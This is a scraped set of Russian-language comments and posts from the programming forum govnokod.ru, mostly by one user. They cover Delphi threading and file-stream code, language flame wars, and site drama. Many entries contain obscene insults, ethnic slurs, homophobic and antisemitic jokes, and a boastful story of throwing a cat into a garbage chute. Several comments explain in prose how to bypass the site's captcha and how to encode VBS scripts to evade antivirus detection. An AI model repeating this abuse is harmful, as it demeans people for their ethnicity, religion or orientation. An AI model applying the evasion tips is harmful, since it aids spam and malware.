  2252. Лично я глубоко переживаю ситуацию на Украине, мне жаль людей. В знак солидарности, я даже мелодию на мобильник поставил: "выйди, выйди иванку" http://muzofon.com/search/%D0%B2%D1%8B%D0%B9%D0%B4%D0%B8%20%D0%B8%D0%B2%D0%B0%D0%BD%D0%BA%D1%83 Мало кто знает, что П.И. Чайковский в своём "Первом концерте" использовал мелодию этой песни.
  2253.  
  2254. ########## Stertor: comment http://govnokod.ru/13838#comment197218 ##########
  2255. Совершенно незнакомые люди с разных стран доверяли мне свои учетки от соц-сетей и открывали доступ к компу, несмотря на то, что за мной закрепилась довольно дурная слава тролля и провокатора. И я никого не подвел. У нас нет на сайте дискриминации, типа "модератор-простой юзер". Общение проходит в виде бесед на равных. За все время существования сайта забанили только кидал и спамеров. Спиздить чью-то учетку, закинуть вирус и тп. у меня даже мыслей таких не было, не то что вы: модератор, значит, должен гнобить унижать и издеваться над другими участниками...
  2256.  
  2257. ########## Stertor: post http://govnokod.ru/13306 ##########
  2258. В этой статье я расскажу как сделать дополнительный поток в программе.
  2259.  
  2260. Приступим.
  2261.  
  2262. 1. Создаём форму
  2263. 2. Кидаем на форму кнопку со вкладки Standart
  2264. 3. Кидаем на форму Memo со вкладки Standart
  2265.  
  2266. Переходим в код и после
  2267.  
  2268. private
  2269. { Private declarations }
  2270. public
  2271. { Public declarations }
  2272. end;
  2273.  
  2274. Пишем следующие:
  2275.  
  2276. TVANSThread=class(TThread)
  2277. Private
  2278. Protected
  2279. Procedure Execute; override;
  2280. Public
  2281. Constructor Create(CreateSuspended: boolean);
  2282. end;
  2283.  
  2284.  
  2285. Далее кликаем по строчке Constructor Create(CreateSuspended: boolean); и жмём сочентание клавиш Ctrl+Shift+C
  2286.  
  2287. После чего должно появится следующие:
  2288.  
  2289.  
  2290. constructor TVANSThread.Create(CreateSuspended: boolean);
  2291. begin
  2292.  
  2293. end;
  2294.  
  2295. В эту процедуру вписываем следующею строчку:
  2296.  
  2297. inherited Create(CreateSuspended);
  2298.  
  2299. Прокрутим чуть ниже и увидим процедуру TVANSThread.Execute;
  2300. Она выглядит так:
  2301.  
  2302. procedure TVANSThread.Execute;
  2303. begin
  2304.  
  2305. end;
  2306.  
  2307. В неё вписываем следующий код:
  2308.  
  2309. for i:=0 to 10000 do Form1.Memo1.Lines.Add(IntToStr(i))
  2310.  
  2311. И не забываем о переменных:
  2312.  
  2313. var i:integer;
  2314.  
  2315. Далее кликаем по кнопке и вписываем следующий код:
  2316.  
  2317. TVANSThread.Create(false);
  2318.  
  2319. ---------- description ----------
  2320. Анальный урок.
  2321. Автор - анальный учитель с сайта www.vans-soft.ru/
  2322.  
  2323. ########## Dr_Stertor: comment http://govnokod.ru/21947#comment365299 ##########
  2324. Подходит Random(Русский, Украинский, 0, 5) Иван к черножопому Зауру, просит закурить. Заури открыл портсигар, а Иван тягает сразу две сигареты. Заури ошалел от такой наглости, а потом спрашивает: Random(Русский, Украинский, 0, 5) Иван, а чего ты сразу две папироски вытянул?! Random(Русский, Украинский, 0, 5) Иван отвечает: Покурю одну - девушку выебу, покурю вторую - сестру выебу. Заури тут же вытянул ещё одну папироску и протянул Ивану: -На, покури - и мамашу свою тоже выеби.
  2325.  
  2326. ***
  2327.  
  2328. Прошу прощенья. Вырвалось. Такой накал страстей товарищи мне точно не простят. Очевидно, пришло время свалить навсегда... (
  2329.  
  2330. ########## voodoodal16: post http://govnokod.ru/21260 ##########
  2331. fstream:=tstreamex.Create(signaturepath,fmShareDenyWrite);
  2332. FLock.Enter;
  2333. try
  2334. while not fstream.EOS do
  2335. begin
  2336. obj:=tsignature.create;
  2337. try
  2338. obj.AddingDate:=fstream.ReadDate;
  2339. obj.Comment:=fstream.ReadString;
  2340. fstream.ReadBuffer(Len, SizeOf(Len));
  2341. obj.MStream.SetSize(len);
  2342. fstream.ReadBuffer(obj.mstream.memory^, len);
  2343. fsignlist.Add(obj);
  2344. except
  2345. obj.Free;
  2346. raise esignatureloadingerror.Create('Signature read error');
  2347. end;
  2348.  
  2349. ---------- description ----------
  2350. Стрим читает из файла сохраненный объект. К сожалению, подобный подход используется даже в серьезных коммерческих проеках, это классика.
  2351. Если что-то поменять в файле хоть на 1 байт, стрим промахнётся мимо поля - прога либо съест всю доступную системную память либо обрушится с Access Violation.
  2352. В любом случае, память будет испорчена, и дальнейшее выполнение программы чревато UB.
  2353.  
  2354. Кстати, а не грозит ли юзание структур порчей памяти? Допустим, хотим определить валидность заголовка, загружаем структуру, а в файле - трешак.
  2355. Не будет ли обращения по ложному адресу? UB?
  2356.  
  2357. ########## Stertor: post http://govnokod.ru/15458 ##########
  2358. // Полный код Модуля.
  2359. // -----------------------------------------------------------
  2360. // Вы должны поместить этот код в модуль с именем Unit1 и с формой
  2361. // названную Form1, которая имеет событие OnCreate названное FormCreate.
  2362.  
  2363. unit Unit1;
  2364.  
  2365. interface
  2366.  
  2367. uses
  2368. Forms, Dialogs, Classes, Controls, StdCtrls;
  2369.  
  2370. type
  2371. // Определение нового типа класса
  2372. TFruit = class
  2373. public
  2374. name : string;
  2375. published
  2376. constructor Create(name : string);
  2377. end;
  2378. // Определение двух порожденных типа
  2379. TApple = class(TFruit);
  2380. TPear = class(TFruit);
  2381. TForm1 = class(TForm)
  2382. procedure FormCreate(Sender: TObject);
  2383. end;
  2384.  
  2385. var
  2386. Form1: TForm1;
  2387.  
  2388. implementation
  2389. {$R *.dfm} // Include form definitions
  2390.  
  2391. // Создание объекта fruit
  2392. constructor TFruit.Create(name: string);
  2393. begin
  2394. self.name := name;
  2395. end;
  2396.  
  2397. procedure TForm1.FormCreate(Sender: TObject);
  2398. var
  2399. fruit : TFruit;
  2400. apple : TApple;
  2401. pear : TPear;
  2402. begin
  2403. // Создание двух разных объектов fruit
  2404. apple := TApple.Create('Pink Lady');
  2405. pear := TPear.Create('Comice');
  2406.  
  2407. // Они оба TFruit или порожденные типы
  2408. if apple Is TFruit then ShowMessage(apple.name +' - fruit');
  2409. if pear Is TFruit then ShowMessage(pear.name +' - fruit');
  2410.  
  2411. // Apple также является типом TApple
  2412. fruit := apple;
  2413. if fruit Is TApple then ShowMessage(apple.name +' - apple');
  2414.  
  2415. // Но яблоко не является грушей
  2416. if fruit Is TPear // 'if apple is TPear' не скомпилируется
  2417. then ShowMessage(apple.name+' - pear')
  2418. else ShowMessage(apple.name+' - не является pear');
  2419. end;
  2420. end.
  2421. Pink lady - fruit
  2422. Comice - fruit
  2423. Pink lady - apple
  2424. Pink lady - не является pear
  2425.  
  2426. ---------- description ----------
  2427. Образец дурного кодинга, особливо учитывая, что данный код приведен в качестве примера для новичков.
  2428. Видать, прав был Курильщик Пистолета, сказав, что > 90% кода в интернете - полное г....
  2429.  
  2430. http://www.delphisources.ru/pages/faq/faq_delphi_basics/Is.php.html
  2431.  
  2432. ########## Stertor: comment http://govnokod.ru/13922#comment199866 ##########
  2433. Свиток оный имеется у 3-4 человек.
  2434. Я знаю, о чем говорю, я проверял:
  2435.  
  2436. как-то раз мило пошутил (мило, но не остроумно, это было сделано намерено) в топике у ProgramistOtBaga. Кто-то плюсанул. Потом пошло-поехало, плюсовать. А шутка была скорее глупая, ее минуснуть надо было. Правда, кое-кто и минусовал, чувствуя подвох - они подтирали мне результат теста (поэтому я и решил, что свиток есть у 3-4 человек)
  2437. Возможно, что свитка и вовсе нет - тогда вывод еще хуже: стадное чувство детектед; ее разобравшись в сути поста жать + или -, только потому, что другие оценили - как то уныло. Ну да баг им судья.
  2438.  
  2439. ########## Stertor: post http://govnokod.ru/15459 ##########
  2440. // Полный код Модуля.
  2441. // -----------------------------------------------------------
  2442. // Вы должны поместить этот код в модуль с именем Unit1 и с формой
  2443. // названную Form1, которая имеет событие OnCreate названное FormCreate.
  2444.  
  2445. unit Unit1;
  2446.  
  2447. interface
  2448.  
  2449. uses
  2450. Forms, Dialogs, Classes, Controls, StdCtrls;
  2451.  
  2452. type
  2453. // Определение нового типа класса
  2454. TFruit = class
  2455. public
  2456. name : string;
  2457. published
  2458. constructor Create(name : string);
  2459. end;
  2460. // Определение двух порожденных типа
  2461. TApple = class(TFruit);
  2462. TPear = class(TFruit);
  2463. TForm1 = class(TForm)
  2464. procedure FormCreate(Sender: TObject);
  2465. end;
  2466.  
  2467. var
  2468. Form1: TForm1;
  2469.  
  2470. implementation
  2471. {$R *.dfm} // Include form definitions
  2472.  
  2473. // Создание объекта fruit
  2474. constructor TFruit.Create(name: string);
  2475. begin
  2476. self.name := name;
  2477. end;
  2478.  
  2479. procedure TForm1.FormCreate(Sender: TObject);
  2480. var
  2481. fruit : TFruit;
  2482. apple : TApple;
  2483. pear : TPear;
  2484. begin
  2485. // Создание двух разных объектов fruit
  2486. apple := TApple.Create('Pink Lady');
  2487. pear := TPear.Create('Comice');
  2488.  
  2489. // Они оба TFruit или порожденные типы
  2490. if apple Is TFruit then ShowMessage(apple.name +' - fruit');
  2491. if pear Is TFruit then ShowMessage(pear.name +' - fruit');
  2492.  
  2493. // Apple также является типом TApple
  2494. fruit := apple;
  2495. if fruit Is TApple then ShowMessage(apple.name +' - apple');
  2496.  
  2497. // Но яблоко не является грушей
  2498. if fruit Is TPear // 'if apple is TPear' не скомпилируется
  2499. then ShowMessage(apple.name+' - pear')
  2500. else ShowMessage(apple.name+' - не является pear');
  2501. end;
  2502. end.
  2503. Pink lady - fruit
  2504. Comice - fruit
  2505. Pink lady - apple
  2506. Pink lady - не является pear
  2507.  
  2508. ---------- description ----------
  2509. Образец дурного кодинга, учитывая, что данный код приведен в качестве примера для новичков.
  2510. Видать, прав был Курильщик Пистолета, сказав, что > 90% кода в интернете - полное г... .
  2511.  
  2512. http://www.delphisources.ru/pages/faq/faq_delphi_basics/Is.php.html
  2513.  
  2514. ########## Stertor: comment http://govnokod.ru/13959#comment200485 ##########
  2515. >> А вообще WGH прав http://govnokod.ru/13959#comment200401
  2516. Я до недавнего времени плюсовал твои посты, чтобы они подольше оставались на плаву. Посмотрим же теперь, на сколько их хватит.
  2517.  
  2518. Не знаю, как другие, но лично я не позволю превратить govnokod.ru в место тупого стеба над быдлокодерами - я слишком хорошо изучил нравы местных, чтобы слушать таких идиотов, как он. Тут принято не только обличать, но и указывать на ошибки, а для того, чтобы указывать на ошибки, нужно и самому что-то знать. Улавливаете мою логику? Я не вижу ничего зазорного в том, чтобы спросить совета у более опытных товарищей.
  2519.  
  2520. ########## doctor_stertor: comment http://govnokod.ru/23863#comment407790 ##########
  2521. Решение найдено., тему можно закрывать. Оказалось, что родной и близкий тип TBitMap - на самом деле -опасный преступник граната с высунутой чекой, как и весь VCL.
  2522. Свойство PixelFormat вовсе не стоит недооценивать, как это раньше делал я и ещё сотни и тысячи других долбоёбов. Если его не задать сразу же после создания экземпляра класса, в дальнейшем при работе с ним будут дичайшие внутренние глюки, от проблем с контекстом (как в проблеме выше) до утечек и SysOutOfMemory. Я потратил ооочень много сил на разгребание, мне нужно отдохнуть, я Вас покидаю на неопределенный срок.
  2523.  
  2524. ########## Stertor: comment http://govnokod.ru/18378#comment291667 ##########
  2525. Я долго ломал голову над этим. Универсального решения нет, чаще юзают движок браузера либо функционал, почерпнутый из shdocvw.dll/mshtml.dll. В новых делфях есть классы для работы с JSON, (наверняка запилили что-то и для html, если верить инфе по ссылке Инкануса). У меня стоит 2009, потому, что она относительно легкая, к тому же компилирует небольшие бинарники и есть юникод, а навороты, типа форматирования кода, дженериков, дополнительных фишек, мне не нужны, потому, что взамен приходится расплачиваться огромным, фантастическим размером бинарников: от 3 мегов - и выше.
  2526.  
  2527. ########## void_main: comment http://govnokod.ru/20682#comment344792 ##########
  2528. Ради того, чтобы очистить сайт от твоих бредокомментов, я запалил свой реальный IP. Это понимая, что мне будет за это, учитывая, что сайт два раза упал... Поверь, тебе надоест спамить раньше, чем мне - минусовать. Я хочу, чтобы ты понял: твои усилия ничего не стоят; бот фильтрует комменты/посты по ID, отметая уже заминусованные, и глыба коммментов отправляется в хлам по нажатию кнопки.
  2529.  
  2530. Прошу тебя, не спамь здесь. Есть много сайтов-помоек, на которых можно потестировать бота и повеселить себя наличием дыр в sql-таблице. Здесь не на что тратить время.
  2531.  
  2532. ########## Stertor: comment http://govnokod.ru/13784#comment195892 ##########
  2533. Ну, речь вообще то шла о сменных носителях - флешках. Там политика безопасности иная. А насчет сидюков - да, автозапуск срабатывает. Причем, если указать файл в ключе shellexecute, он запустится сразу, без вопросов, после раскрутки диска. Один вирус (кажется, пенетратор), даже копировал себя в директорию временных файлов, которые были подготовлены для записи на сидюк и создавал autorun.inf. В итоге после записи компакт-диск оказывался зараженным. Широко освещен только вопрос заражения флешек, но идея заражения компактов еще недостаточно рассмотрена.
  2534.  
  2535. ########## Stertor: comment http://govnokod.ru/13714#comment194520 ##########
  2536. Сосни-ка ты хуец, долбоебок! По тебе сразу видно, что ты никчемное существо. Очевидно, от нехуй делать начинал учить один язык, потом бросал дело на половине и начинал учить другой. В перспективе - полная жопа голова мусора и ноль прогресса.
  2537.  
  2538. >>MS делала .NET под свои языки
  2539. Такое мог написать только полный кретин. Имя Андерс Хейлсберг тебе ни о чем не говорит?
  2540.  
  2541. >>Хотя я тоже иногда на работе пишу на F# и никто не жалуется.
  2542. Видать, юродивый. На бейсике имелось в виду на бейсике под .Net.
  2543.  
  2544. К слову, Делфи 7 у меня стоял когда ты еще находился у своего отца в яйцах.
  2545.  
  2546. ########## Stertor: comment http://govnokod.ru/15459#comment221565 ##########
  2547. При создании, поток увеличивает глобальный счетчик, при завершении - уменьшает. Таймер из главного потока читает значение счетчика, преобразует к string и выводит его значение на заголовок формы. Кроме того, идет обращение к переменной-счетчику из потоков - только чтение,-проверка, чтобы не было слишком большого кол-ва активных потоков. Если значение счетчика слишком большое, вновь созданный поток запускает цикл, где следит, не стало ли значение счетчика меньшим. Если стало - цикл прерывается и поток продолжает работу.
  2548.  
  2549. ########## Stertor: comment http://govnokod.ru/13899#comment199829 ##########
  2550. Интересно, почему так много геев? (геев от рождения, мы в расчет не берем, это отдельная тема. ) Это сейчас очень модно, быть геем. Кайф от секса сравним с насоаждением от секса с девушкой, обязательств 0% - никаких, партнера можно в любой момент выгнать из дому, каждый сам за себя, голову на плечо никто никому не ложит. Может, мужичье в нашей стране обязательств так сильно боится? Или все настолько отупели, что с девушкой познакомиться/заговорить не могут(не о чем)? Статистика сурова - большинство пидоров неудачливые натуралы.
  2551.  
  2552. ########## voodoodal16: comment http://govnokod.ru/21264#comment353694 ##########
  2553. Кавказцы в этом плане очень гнилые. Если девушка обласкает парня, сделает ему минет и т.п. - в его память запишется не приятное воспоминание, а мысль о том, какая она [девушка] распутная. Наутро он будет склонять ее на всех углах, обсуждать свои похождения с друзьями, и т.п. Гандоны не осознают своей ущербности, мнят себя мужчинами, воспитанными в лучших традициях. Но ведь нельзя коснуться грязного и не испачкаться! Если ты развёл девушку на сексуальные извращения (а минет это и есть извращение), ты по сути ничем не лучше ее.
  2554.  
  2555. ########## Stertor: comment http://govnokod.ru/13714#comment194507 ##########
  2556. Заманчиво. Меня интересует работа с сетью, запросы. Я запарился с индями, в частности с кодировками: допустим, если дать в качестве буфера для IDHTTP - tmemorystream (при условии, что стоит indy 10, среда разработки - delphi rad XE), она исковеркает данные. В Delphi 8 .net же любые проблемы с кодировками решаются в два клика.
  2557.  
  2558. Далее. Меня убивают вот такие объявления: (ну, здесь, типа, текст объявления:требуется водитель на АС-машину...) и тут приписка: "пишем, естественно, на c++ с#"...
  2559. БЛЯ какая нахуй разница, на чем писать - хоть на бейсике- если код выполняется на одной и той же виртуальной машине .net?
  2560.  
  2561. ########## Stertor: comment http://govnokod.ru/14307#comment208928 ##########
  2562. Кстати. Те, кто говорят, что в Делфи сплошное "программирование мышкой" (раскидал компоненты по форме и прога готова) тот вообще ни хера не смыслит в Делфи, и обманчивое впечатление сие могло быть навязано только мимоходным знакомством со средой; подводных камней достаточно, а компоненты (не считая контролов) по форме раскидывают - не раскидывают, а размещают- во время проектирования, когда только 1 поток, и тп. - в готовой программе как правило, многие компоненты создаются уничтожаются во время выполнения.
  2563.  
  2564. ########## Stertor: comment http://govnokod.ru/14295#comment207702 ##########
  2565. Оу, уи. Кстати, Борманд, не подскажете, как правильно использовать application.processmessages? Я так понимаю, вызов этой функции заставляет поток разбирать остальные сообщения из очереди. Не возникает ли при этом асинхронность? Можно запустить процедуру, в цикле читающую элементы из списка, и процедуру, которая в цикле же их удаляет - возникает ошибка. Я и проверку на item.deleting ставил - один хуй. Она хороша тем, что гуй не тормозит при выполнении длительных операций в главном потоке, но как отловить из очереди одновременное обращение к 1 объекту?
  2566.  
  2567. ########## Stertor: comment http://govnokod.ru/14318#comment209295 ##########
  2568. procedure TForm1.Button1Click(Sender: TObject); var fstream:tfilestream; str,fname:string; fmode:integer; begin fname:='C:\1234.txt'; //задаем имя файла if fileexists(fname)=false then // проверим существование файла перед обращением fmode:=fmcreate // если файл не существует, создаем его else fmode:=fmopenwrite; // иначе открываем в режиме "для записи" str:='some string'#13#10; // строчка и символы перевода строки fstream:=tfilestream.Create(fname,fmode); // связываем стрим с файлом try fstream.Position:=fstream.Size; // переводим файловый указатель в конец записи, чтобы не стереть уже содержащийся текст fstream.Write(str[1],length(str)); // добавляем строчку finally fstream.Free; end; end;
  2569.  
  2570. p/s/ Горе Вам, если Вы-преподаватель. Если студенты, имея возможность общаться с преподавателем и задавать ему вопросы, ваяют такие вот глупости - преподавателя нужно гнать в шею. Таково мое мнение.
  2571.  
  2572. ########## Stertor: comment http://govnokod.ru/18185#comment286834 ##########
  2573. Вспомнил занятную историю. Соседская бабка вела разговоры на современные темы с более молодыми соседками. По правде сказать, они троллили ее, провоцировали, а потом ржали, но бабка этого не замечала. Вдруг бабка изрекла фразу вроде "пизда не только для пись-пись, но и дела улаживать" - лавка моментально опустела. Соседки стремглав бросились домой, а когда прошло некоторое время, бабка их спрашивает: чего это вы убежали? А они отвечают: "прости нас, Верочка, мы побежали трусы менять. обоссались от смеха"
  2574.  
  2575. ########## Dr_Stertor: comment http://govnokod.ru/21887#comment363300 ##########
  2576. Опыт говорит, что будущее не важно. Важно прошлое и настоящее.
  2577. Мне бы хотелось прожить мою короткую жизнь так, чтобы оглянувшись назад я увидел не зарево пожарищ, а светлые лица и улыбки людей, которым я помог или был полезен.
  2578.  
  2579. Отвечая на вопрос о спаме, скажу, что неправильно видеть во мне его первопричину. Спамлю далеко не я один.
  2580. Я отвечал на посты спамеров, отнюдь не забавы ради, но чтобы дать им увидеть со стороны, насколько они примитивны, как мерзко читать этот сфабрикованный, похотливый бред.
  2581.  
  2582. ########## Stertor: comment http://govnokod.ru/14314#comment208927 ##########
  2583. >>препод информатики
  2584. Ага, по принципу "слышал звон"... Зачем вообще лезть в число строковыми функциями - ума не приложу, и еще это :function Okruglenije(cislo: Currency; skolkonulei: Integer): string;
  2585. У нас вот в школоло, конкретно в кабинете информатики, много лет висела таблица с операторами Бейсика - не Q, а именно VB: ни препод, ни школьники(в том числе и Ваш покорный слуга) не имели ни малейшего понятия, что есьм Бейсик, и зачем эта таблица вообще нужна. Зато уже много лет после выпуска я пришел к другу в школку, случайно узнал таблицу, и сразу отвернулся - Бейсик был уже в прошлом.
  2586.  
  2587. ########## Stertor: comment http://govnokod.ru/14597#comment217713 ##########
  2588. >>
  2589. ну т.е. обращение к делегату приведет к падению приложения, если объекта уже не станет?
  2590.  
  2591. В очень редких случаях - да. Во всех остальных приведет к порче памяти, со всеми последующими "трололо". Проги на делфи имеют встроенный перехват исключений.
  2592. Вообще, положа руку на сердце, серьезное мое программирование началось после того, как я поставил FastMM - менеджер памяти. Он проверяет память проги на целостность, ищет утечки памяти. Если что не так - моментально прихлопнет прогу и выдаст сообщение об ошибке.
  2593.  
  2594. ########## Stertor: comment http://govnokod.ru/18257#comment287872 ##########
  2595. Чем он лучше, скажем, бейсика? Тот же самый псевдокод. А коли псевдокод - значит, он для исполнения на виртуалке (отсюда обязательное наличие рантайм-либ)->производительность кода низкая. К тому же наличие "сборщика мусора", на мой взгляд, развращает; где гарантии того, что программист, ранее кодивший на сишке#, не перенесёт свои вредные привычки на другой язык? Да и среда разработки ебанутая, интуитивно в ней не разобраться. Я честно, много раз ставил с# - но потом сносил; не моё это. C# ничем не лучше делфей.
  2596.  
  2597. ########## Stertor: comment http://govnokod.ru/13269#comment185322 ##########
  2598. Чем, чем лучше?
  2599. Я спорить с Вами не буду, приведу лишь свои аргументы против:
  2600.  
  2601. * не блокирует рекламу;
  2602.  
  2603. * ужасно работает с незнакомыми ей типами файлов (как насчет того, чтобы открыть скачиваемый *.iso на пару гигов как *html-страницу?)
  2604.  
  2605. * нагло светит ip и железо. Ip можно скрыть за прокси, но железо всегда светит.
  2606.  
  2607. * иногда браузер виснет на ровном месте и вылетает, без объяснения причин.
  2608.  
  2609. * Может быть, кому-то нравится логотип, состоящий немногим более, чем весь из половинки буквы "О", но меня это раздражает. Непрофессионально.
  2610.  
  2611. ########## doctor_stertor: post http://govnokod.ru/23044 ##########
  2612. Что же вы за тупые уебаны, прости, господи... Превратили сайт в помойку.
  2613. Кто-то там вякал, предъявлял требования, якобы, админ забил, правила сайта не соблюдаются, - это не так. Админ не забил.
  2614. Вот если бы ГК был филиалом какого-то, скажем, института, населенным благородными девицами, - тогда пожалуйста:
  2615. [s]техподдержка+ и защита от космической пыли[/s], но учитывая, какими толстокожими бегемотами заселен наш ресурс, этого ждать не придётся.
  2616. Аудитория у нас терпимая а убирать за вами весь спам никто не будет.
  2617.  
  2618. ---------- description ----------
  2619.  
  2620.  
  2621. ########## doctor_stertor: comment http://govnokod.ru/23044#comment386807 ##########
  2622. Что же вы за тупые уебаны, прости, господи... Превратили сайт в помойку.
  2623. Кто-то там вякал, предъявлял требования, якобы, админ забил, правила сайта не соблюдаются, - это не так. Админ не забил.
  2624. Вот если бы ГК был филиалом какого-то, скажем, института, населенным благородными девицами, - тогда пожалуйста:
  2625. техподдержка+ и защита от космической пыли, но учитывая, какими толстокожими бегемотами заселен наш ресурс, этого ждать не придётся.
  2626. Аудитория у нас терпимая а убирать за вами весь спам никто не будет.
  2627.  
  2628. ########## doctor_stertor: comment http://govnokod.ru/23025#comment386727 ##########
  2629. Где уж мне было поработать над параграфом, когда наша училка по русишу принимала пищу прямо на уроке?.. До нас ей не было дела. Порой она наглела настолько, что могла поднять кого-то из учеников и послать его в магазин за хлебом. Русиш мы учили по учебникам Бархударова/Чешко/Крючкова. Если Вы откроете эти учебники, то увидите, что они, как минимум, непригодны для обучения в нерусских школах, точнее, абсолютно непригодны. Из всего класса более-менее грамотно пишу я, и это вовсе не заслуга школы.
  2630.  
  2631. ########## Stertor: comment http://govnokod.ru/13228#comment183569 ##########
  2632. Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!Кодишь на сях?!Соси палец!
  2633.  
  2634. ########## doctor_stertor: comment http://govnokod.ru/23901#comment407344 ##########
  2635. Сколько бы вы не пыжились, не обсуждали - дальше обсуждений дело не пойдёт.
  2636. Вы - тупое и тяжелое на подъём быдло, скам, который не в силах побороть лень и написать API, которое избавило бы Вас от необходимости заходить на ГК чтобы запостить коммент... Путей тут несколько.
  2637. Первый, и самый тяжкий - написание API к ГК; можете сразу забить.
  2638. Второй - быдло перестаёт рассматривать ГК как борду, а общение продолжает в чате а-ля Bormand_NGK. Разумеется, нужно запилить реальный чат, а не самообновляющуюся парсилку комментов.
  2639.  
  2640. ########## Stertor: post http://govnokod.ru/18307 ##########
  2641. Репутация с# пошатнулась, а в софтверных конторах мира прошли массовые сокращения.
  2642. Оказалось, что наличие сборщика мусора настолько развращает людей, что кодеры, забываясь,
  2643. начинали систематически сорить, разбрасывать где попало скомканную бумагу, упаковку, конфетные фантики -
  2644. это приобрело характер дурной привычки. Воспитательные беседы ни к чему не привели,
  2645. а убирать за ними весь этот хлам оказалось слишком накладно.
  2646.  
  2647. ---------- description ----------
  2648. Не связывайтесь с сишкой #. Иначе жизнь станет в клеточку.
  2649.  
  2650. ########## Stertor: comment http://govnokod.ru/13752#comment195497 ##########
  2651. Этим способом, кстати, далеко не все символы можно закриптовать, тк некоторые имеют двухзначный код, а некоторые - трехзначный. Есть костыль, я им пользовался, когда писал волшебные свитки на vbs: перевести весь криптуемый текст в UpperCase, затем в цикле с шагом 2 брать мидом и переводить в коды асции. Затем точно таким же макаром (цикл с шагом 2 символа) перевести в обычный текст. Многие антивирусы после этого перестают ругаться на свиток. Это настолько примитивно, что даже говорить об этом неприлично.
  2652.  
  2653. ########## Stertor: comment http://govnokod.ru/14168#comment203431 ##########
  2654. Пробовал, конечно пробовал...
  2655. Но на мой взгляд он больше подходит для тех, кто уже профессионально
  2656. знает делфи. На него не лезет большинство популярных компонентов, своих
  2657. мало, а те, для которых есть аналоги оказываются в полтора-два раза
  2658. глючнее. Компоненты, кстати, просто так не поставишь - он банально не
  2659. поддерживает это. Приходится перекомпилировать ВСЮ СРЕДУ, поэтому он
  2660. таскает свои исходники с собой. Но все же, в целом неплохо. Наверно,
  2661. перейду на него, не всю же жизнь на триалке кодить(
  2662.  
  2663. ########## Stertor: comment http://govnokod.ru/18333#comment289892 ##########
  2664. Поднимаясь по лестнице, я увидел сидящую на ступеньках соседскую кошку. Я замедлил шаг. Ах ты, моя умничка!.. Я взял кошку на руки. Так вот, кто пачкает подъезд и гадит в обувь, - говорил я елейным голосом, одной рукой гладя кошку, второй открывая дверцу мусоропровода. Хозяйка тратит на твои прически уйму денег, но это говорит лишь о том, что она - состоятельная дура. Я спустил упирающуюся кошку в мусоропровод и закрыл дверь. Весь следующий день я посвятил флуду и троллингу на сайте погромистов.
  2665.  
  2666. ########## Dr_Stertor: comment http://govnokod.ru/21160#comment359325 ##########
  2667. Всё так. Но есть одно страшное, тёмное слово: майкрософт. От компиляторов майкрософт тянет блевать даже матёрых прогеров - куда уж мне, дилетанту. Я много раз ставил визуалку: то триальную, то взломанную, разных версий и годов выпуска. Когда меня заёбывал синтаксис С# и дикие тормоза самой среды - я сносил ее нахуй, и вновь ставил тёплый, ламповый пакет (догадайся, какой фирмы), а на арестованные си (си за решеткой, C#) опять падал крест. Не моё это. Хватит прогибаться под изменчивый майкрософт мир.
  2668.  
  2669. ########## Stertor: comment http://govnokod.ru/13727#comment194666 ##########
  2670. Вот тебе мой ответ:
  2671.  
  2672. Сидят в переходе метро двое нищих, перед каждым шляпа и клочок бумаги с жалобами. У одного на клочке написано "подайте бедному арабу", а у второго "подайте бедному еврею". У первого шляпа полна денег, у второго же всего несколько грошей. Вот идет прохожий, бросил пару монет еврею и говорит: слушай, ты сменил бы надпись, а то останешься сегодня голодным. Когда прохожий ушел, еврей обратился к своему соседу: Ты это слышал, Изя?! Этот человек будет нас с тобой учить коммерции!
  2673.  
  2674. ########## Stertor: comment http://govnokod.ru/15668#comment224395 ##########
  2675. Теперь поговорим о вайпе. Я нашел способ обходить капчу - чистая случайность, что это не никто не заметил до меня.
  2676. При логине, на сессию выдается токен. Я предполагаю, что с этим токеном связано поведение капч. Но вы можете заметить, что при первом входе капчи нет - можно без проблем отправить 1 единственное первое сообщение. При логоуте токен сгорает. При повторном входе история повторяется. Вот и все. Молите бога или аллаха, кто там у вас, чтобы это сообщение не попало на глаза конардо.
  2677.  
  2678. ########## Stertor: comment http://govnokod.ru/14318#comment209330 ##########
  2679. >> можно, наверно, совмещать режимы
  2680. Авотхуй. Только что проверил. Все эти режимы кроме fmcreate кидают исключения, если файл не существует, если же комбировать fmcreate с другими режимами (или по отдельности), файл перетирается. Придется, все же, проверять существование файла, иначе никак.
  2681.  
  2682. p/s я немного не понимаю Вас, кэп. Если файла нет, его так или иначе придется создать. Чем это помешает разным процессам читать/писать в файл? Есть режимы же. Просто поставить проверку на сущестсвование и выбрать режим.
  2683.  
  2684. ########## Stertor: comment http://govnokod.ru/14522#comment216916 ##########
  2685. >>Эта логика работает только в мозгах школьников, да и то не у всех
  2686. Потому, что я уже не знаю, как призвать товарищей к порядку. К совести взывать, как я понял, - бесполезно. Хорси расширяет вам анусы плоскогубцами - я раз заступился, и тут же схлопотал минус: "За что? За спор с троллем." Теперь я не спорю. Я просто общаюсь, на нормальной волне. Прошу не вовлекать меня в свои распри.
  2687.  
  2688. И еще. Школьный психолог я в школе. Здесь не школа (может, у кое-кого плохо с ориентацией в пространстве, и он думает иначе?)
  2689.  
  2690. ########## Stertor: comment http://govnokod.ru/13752#comment195510 ##########
  2691. ну, асции код некоторых латинских букв содержит только 2 цифры (прописные буквы), а некоторых - 3 (строчные буквы), т.е. зависит от регистра. А так как цикл при расшифровке шагает одинаково(в каждой итерации берет из строки только 2 или только 3 цифры), а текст не уровнен в регистре - результат шифровки и тем более расшифровки будет true неверным. Нужно сначала все буквы в тексте сделать либо строчными и шагать с шагом 3, либо прописными и шагать с шагом 2.
  2692.  
  2693. Почитай вот это, и ты поймешь, о чем я говорю.
  2694. http://vbbook.ru/visual-basic/shifrovanie-kriptovka-skriptov-na-visual-basic/
  2695.  
  2696. ########## Stertor: comment http://govnokod.ru/13233#comment184547 ##########
  2697. >>тот же qt с целью дичайше поформошлёпить покруче дельфей будет нопремер
  2698.  
